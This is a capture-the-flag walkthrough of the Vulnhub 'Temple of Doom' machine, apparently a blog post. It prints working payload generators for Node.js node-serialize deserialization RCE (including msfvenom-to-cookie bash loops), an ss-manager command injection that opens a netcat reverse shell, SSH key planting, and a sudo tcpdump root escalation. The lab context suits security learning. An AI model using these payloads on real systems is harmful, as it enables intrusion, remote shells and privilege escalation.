Temple of Doom: 1 | Vulnhub Walkthrough

Dot Dot Slash
egghunter
Published in
6 min readAug 26, 2018

Temple of Doom is a boot2root CTF challenge created by 0katz and hosted on Vulnhub. Temple of Doom has a very challenging initial attack vector and was a good learning exercise for me. While solving this machine, I came up with a bash wrapper for msfvenom which can convert Metasploit Node.JS payload to deserialisation friendly payload. Read on :)

Level: Intermediate

Machine displayed its IP address on boot, which was good.

Machine displays its IP address

Running nmap scans on the box made me puzzled at the beginning. A service named doom on port 666(*frown*). From the detailed nmap scans, I understood that the application is based on Node.JS.

Detailed nmap scans

Initial Pain

When I visited the application on browser, I got an under construction message. Dirb and nikto returned nothing useful. I had zero leads on how to proceed and I was stuck for good 30 minutes.

I visited the web page again later. Oh boy, a 500 error with a stacktrace. I tried accessing the URL on a different browser and I got the under construction message for the first time. From second time onwards, I was getting the same stacktrace.

Initial message on the application
Stacktrace when visiting the application second time.

When was the last time, someone read through the stack trace and checked what had went wrong in a pentest. Honestly, that is something I rarely do. Here, since I had no other options, I tried to make sense out of the detailed trace.

“Unexpected token F in JSON”, so it is a JSON parser error, happens usually when you sent JSON data to server with a messed up syntax. But I didn't pass any JSON strings here! Or did I?

Cookies!

Cookie being set on first visit

The first time we access the application, a cookie named profile is set. The %3D(=) at the end of the cookie hints that it is a base64 encoded data. From the look of the cookie, I can already tell it is JSON! (JSON strings when base64 encoded will start with “ey”). Lets decode it.

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}

You can see that the syntax is broken before Friday. Lets fix it, encode it back and replace the cookie with the new data.

{“username”:”Admin”,”csrftoken”:”u32t4o3tb3gg431fs34ggdgchjwnza0l=”,”Expires=”:”Friday, 13 Oct 2018 00:00:00 GMT”}
Access to application with the corrected cookie

Well that was useless. Nothing in there! But we have more leads hiding in the stack trace. Check the third line starting with “Object.exports.unserialize”, so our cookie is then passed onto the unserialize() function.

unserialize() function in node-serialize module can be exploited for remote code execution if unsanitized data is passed onto it. Ajin Abraham has written a well explained post on how to exploit Node.JS deserialization RCE(Remote Code Execution).

JavaScript’s Immediately invoked function expression (IIFE) property can be used to invoke a serialized payload passed onto unserialize() function. Please read Ajin’s blog post before scrolling down.

Exploitation of Node.JS unserialize RCE using nodejsshell.py

nodejsshell.py is a reverse shell payload generator created by Ajin himself as a part of his “Node.js Security: Pentesting and Exploitation — NJS” course. I created a reverse shell payload using his tool as detailed in his blog post. Honestly, the shell wasn't very stable and whenever I exit the shell, Node.JS server would crash, forcing me to reboot the server. So I would never recommend anyone to run this tool on production systems.

Tip: Dont run nodejsshell.py generated payload on production boxes. It may crash the Node.JS server.

Bash command for achieving all modifications suggested by Ajin in his blogpost is given below:

python nodejsshell.py 192.168.56.102 443 |  grep eval |  sed 's/.*/{"rce":"_$$ND_FUNC$$_function (){(&)}()"}/' | base64 -w0
Generated payload using nodejsshell.py. This needs to base64 encoded before used as the cookie.

Using msfvenom generated payload for Node.JS unserialize RCE

Metasploit framework has couple of Node.JS payloads. In my past experience they were very stable. Metasploit offers following Node.JS payloads.

  • nodejs/shell_bind_tcp
  • nodejs/shell_reverse_tcp
  • nodejs/shell_reverse_tcp_ssl

However we cannot directly use Metasploit generated code for exploitation as metasploit generates JS code. We need to convert the payload into an array of ASCII char codes, which will be passed onto an eval function.(Read Ajin’s blog post again if you are confused.)

Well, I created a possibly worst bash code ever written to do the conversion. Nevertheless, it works fine despite fact that it generates many straw white-spaces(ASCII 32). I tested if for shell_bind_tcp and shell_reverse_tcp, both were working fine for me.

for p in $(msfvenom -p nodejs/shell_reverse_tcp lhost=192.168.56.102 lport=443 -f raw 2>/dev/null | grep -o .|sed 's/.*/x&x/');
do if [ "$p" == "x" ]; then echo -n "32,";
else printf "%d," "'${p:1:1}" ;
fi;
done | sed 's/.*/{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(&32))}()"}/' | base64 -w0

For bind shell you can use below code.

for p in $(msfvenom -p nodejs/shell_bind_tcp lport=555 -f raw 2>/dev/null | grep -o .|sed 's/.*/x&x/');
do if [ "$p" == "x" ]; then echo -n "32,";
else printf "%d," "'${p:1:1}" ;
fi; done | sed 's/.*/{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(&32))}()"}/' | base64 -w0

I pasted the tool output onto the cookie to get a reverse shell as nodeadmin user. Now I can exit the shell without crashing the Node.JS server.

Copied script generated payload to cookie named profile
Shell access as nodeadmin user

I wanted more flexibility so, I added my public key to /home/nodeadmin/.ssh/authorized_keys for SSH access.

Adding public key to authorized_keys
SSH access as nodeadmin

Shadowsocks manager code execution

On enumerating the running processes on the system, I identified ss-manager running as user fireman. ss-manager is an administration tool for Shadowsocks-libev and is used to control existing shadowsocks servers and to spawn new ones. Older version of ss-manager is vulnerable to command injection through JSON. Exploit can be found here : EDB-43006

ss-manager running as user fireman

ss-manager by default runs on UDP port 8839 and I saw a service running on 127.0.0.1:8839. Below command can be used to exploit the vulnerability to obtain a reverse connection. Upon obtaining the shell I planted my public key on authorized_keys for fireman user for SSH access.

nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||nc -e /bin/bash 192.168.56.102 444||"}
ss-manager running on port 8839
Reverse connection as fireman

Path to root

On enumeration I found that fireman can run three commands with sudo rights without having to provide a password. Providing sudo rights to tcpdump, that is good enough for a root access.

Fireman can run some commands as sudo without providing any password

To exploit tcpdump, I created a shell script on /tmp and gave it execute permissions. Then through the -z and -Z flags we can execute the script as root to get a reverse connection. You can read the flag from /root/flag.txt.

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exp -Z root
Exploiting tcpdump for a reverse shell
Reverse shell as root
Flag is readable from flag.txt in /root

Temple of doom has two possible ways to root as per the author. I tried enumerating more to find a second possible way to root, but no luck. In case any of my readers have any leads, let me know. Temple of doom has a mix of vulnerabilities of real world relevance and this is definitely a great learning experience for pentesters like me.

--

--